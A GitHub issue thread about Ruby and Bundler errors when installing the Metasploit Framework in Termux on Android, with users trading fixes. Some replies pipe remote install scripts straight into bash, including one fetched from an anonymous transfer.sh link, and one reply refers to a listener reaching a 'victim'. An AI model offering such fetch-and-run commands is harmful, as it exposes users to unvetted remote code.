13: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit_data_models-3.0.5/lib/metasploit_data_models.rb:15:in 11: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 10: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:32:in <top (required)>' 8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:130:in'
7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record/connection_adapters/abstract_adapter.rb:3:in <top (required)>' 4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 2: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in 1: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire': dlopen failed: invalid ELF file "/data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so" load segment[8]: p_offset (0x2000) + p_filesz (0x270) ( = 0x2270) past end of file (0x2270) - /data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so (LoadError)
14: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:in <main>' 13: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:inrequire'
12: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 11: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
10: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 9: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
8: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 5: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 4: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 3: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
2: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 1: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:20:inoptionally'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:25:in rescue in optionally': undefined methodwithout' for # (NoMethodError)
$

How to downgrade ruby?

screenshot_20190301-022228

After that metasploit runs. But I need to fix this. How can I fix that? Thanks

metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
36: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:in <main>' 35: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:inrequire'
34: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 33: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
32: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 31: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
30: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:46:in <top (required)>' 29: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.4/lib/backports/std_lib.rb:9:inrequire_with_backports'
28: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.4/lib/backports/std_lib.rb:9:in require' 27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/framework.rb:18:in 26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/framework.rb:26:in <module:Msf>' 25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/framework.rb:61:in'

Help anyone
I solve the first problem which is segment faultand now this is

I have the same problem with Aniketstark:
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager.
I already installed metasploit-credential but it still error like that. I don't know why? (gem install metasploit-credential), did i install it at the wrong place?
please help me!!

Metaspoit-credintial fix for arm device plz

You must use Bundler 2 or greater with this lockfile.
When I start msfconsole

Please fix the problem ☺☺☺☺☺☺

Try:

pkg install unstable-repo
pkg install metasploit

For metaspoit-credintial
?

I have reinstall whole termux 10times not worked

not worked

You doing something wrong then.

If package and

wget https://Auxilus.github.io/metasploit.sh
bash metasploit.sh

don't work for you, that's very strange and point on either missed steps or broken Termux installation.

Nope bro it was working well 5days ago

For me it is working now. No matter, ARM or AArch64.

Ohhhk give me script I'll install by ur method

Ohk plz give me script then

@xeffyr pls share your method since my arm device still has error

Exactly

@xeffyr thanx.. i did fresh install & redo youy guidance & now it works on my arm device

@xeffyr how to make LD_PRELOAD permanent?

@xeffyr also can i upgrade it msf 5.0.8?

how to make LD_PRELOAD permanent?

Add to .bashrc.

When we do this tmuxbubch not getting start

screenshot_20190301-034116
@xeffyr how can i fix this? Why this line goes/runs this much? It's irritate me a lot! Help! Thanks

Why this line goes/runs this much?

No, metasploit does not start immediately. Depending on device, it can take 20-40 seconds to start.

Metasploit stopped working some days back.i tried multiple times but don't
work

On Mar 1, 2019 20:38, "Leonid Plyushch" notifications@github.com wrote:

Why this line goes/runs this much?

No, metasploit does not start immediately. Depending on device, it can take
20-40 seconds to start.


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-468747362,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ApV2DEUoXTVQkAkB5PcyU3fSxuK0laqpks5vSWWFgaJpZM4LyVa1
.

Thank Xeffyr, with method 1, I can install metasploit successfully. (the error : metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager. has been solved)

It's works but directory not showing in home

@xeffyr thanks i can make it permanent through bashrc, but when try to upgrade to 5.0.8 i broke the bash environment. I managed to repaired it but can not make 5.0.8 works so i back again with 4.17.37

Anyway thanks @xeffyr now both my aarch64 (use 5.0.8) and arm (use 4.17.37) working fine.

Hey guys i have problem plz help me
My error in termux in android :
[1] + 19895 suspended (signal) ./msfconsole
[1] + 19895 segmentation fault ./msfconsole
Plz help me

Nobody can't help
I think it isn't for termux in android

pkg install unstable-repo

Pkg upgrade

How about this :(

msfconsole

[!] There was an error parsing Gemfile:
[!] There was an error while loading grpc.gemspec: cannot load such file -- grpc/version
Does it try to require a relative path? That's been removed in Ruby 1.9. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/grpc.gemspec:4
# -------------------------------------------
# $LOAD_PATH.push File.expand_path('../src/ruby/lib', __FILE__)

require 'grpc/version'
#
# -------------------------------------------
. Bundler cannot continue.

# from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4
# -------------------------------------------
# # spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework'
#
# -------------------------------------------

screenshot_20190303-112913
help need for
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
and
No encoder or badchars specified

Metasploit well installed on termux but ./msfconsole or msfconsole command not responding.
It stopped working 7days ago

What's written there?

Northing else.just this👇.
./msfconsole
Π

Maybe u can try this one
pkg install unstable-repo -y

pkg install metasploit -y

Now u can run msfconsole or ./msfconsole

$ msfconsole
waiting for server to shut down....2019-03-03 14:39:08.168 IST [14108] LOG: received fast shutdown request
2019-03-03 14:39:08.172 IST [14108] LOG: aborting any active transactions
2019-03-03 14:39:08.175 IST [14108] LOG: background worker "logical replication launcher" (PID 14118) exited with exit code 1
2019-03-03 14:39:08.176 IST [14113] LOG: shutting down
2019-03-03 14:39:08.228 IST [14108] LOG: database system is shut down
done
server stopped
waiting for server to start....2019-03-03 14:39:08.457 IST [14747] LOG: listening on IPv4 address "127.0.0.1", port 5432
2019-03-03 14:39:08.465 IST [14747] LOG: listening on Unix socket "/data/data/com.termux/files/usr/tmp/.s.PGSQL.5432"
2019-03-03 14:39:08.536 IST [14751] LOG: database system was shut down at 2019-03-03 14:39:08 IST
2019-03-03 14:39:08.576 IST [14747] LOG: database system is ready to accept connections
done
server started
Traceback (most recent call last):
ruby: No such file or directory -- /data/data/com.termux/files/home/metasploit-framework/msfconsole (LoadError)
$

Did that but nothing yet...
But it added more on ls👇
"CODE_OF_CONDUCT.md
CONTRIBUTING.md
COPYING
CURRENT.md
Dockerfile
Gemfile
Gemfile.local.example
Gemfile.lock
LICENSE
LICENSE_GEMS
README.md
Rakefile
Vagrantfile
app
config
data
db
docker
docker-compose.override.yml
docker-compose.yml
documentation
external
lib
metasploit-framework.gemspec
modules
msf-json-rpc.ru
msf-ws.ru
msfconsole
msfd
msfdb
msfrpc
msfrpcd
msfupdate
msfvenom
plugins
script
scripts
spec
test
tools"

Maybe u can try this one
pkg install unstable-repo -y
pkg install metasploit -y
Now u can run msfconsole or ./msfconsole

Not. You shouldn't use relative paths once metasploit is installed from package. Just do msfconsole or other command like msfvenom. Also metasploit in this case installed to $PREFIX/opt/metasploit-framework.

those comands are not working....
No response at any of them

screenshot_20190303-130441

So, u can't start msfconsole?

Ruby just increasing prblm plz fix all really m too much disturb from last week

Ruby just increasing prblm

Because you messing up your installation more and more.

@akiraaranii i need assistance...
I cant start msfconsole

But cuz of update I can use tmux bunch and metasploit

screenshot_20190303-214127

plz help me.....
what to do

bundle install
Give this command

it says couldn't locate gem file.....

@handsomebeast

screenshot_20190303-214957

screenshot_20190303-224145

for aarch64 only

curl https://transfer.sh/uesae/metasploit-v5.0.8.sh | bash

i am still confused by all the stuffs.....
gems and all
can i get the whole commands coz i have been trying this for over a month....
plz guide me...😶

you can install a previous version with apt -y install metasploit, install version 4.17.37 while fixing the errors that we are currently having, it may help you if you are in a hurry to use it, greetings;)

@IFab967 i will try ....thankyou

screenshot_20190304-113658

why is it taking much time ........nearly about 20-25 minutes past but no response...

your terminal can not give a connection to the IP of the victim, when that happens the listening mode does not work, check your configuration well :)

plz clearify brother i dont know what's happening....

Bro watch video on YouTube payloads over the internet

Metasploit is now available in termux, run

pkg install unstable-repo
pkg install metasploit

To install it. These instructions are also written in the wiki: https://wiki.termux.com/wiki/Metasploit_Framework

If you are having problems that you think are termux specific then open a new issue, or ask in any of the social channels (https://www.reddit.com/r/termux/, mailing list [email protected])

Note that issues at github that are not termux specific most likely will be closed.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

am11 picture am11  ·  3Comments

Cyb3rD3m0n picture Cyb3rD3m0n  ·  3Comments

jackbrycesmith picture jackbrycesmith  ·  3Comments

thurask picture thurask  ·  3Comments

newmania picture newmania  ·  3Comments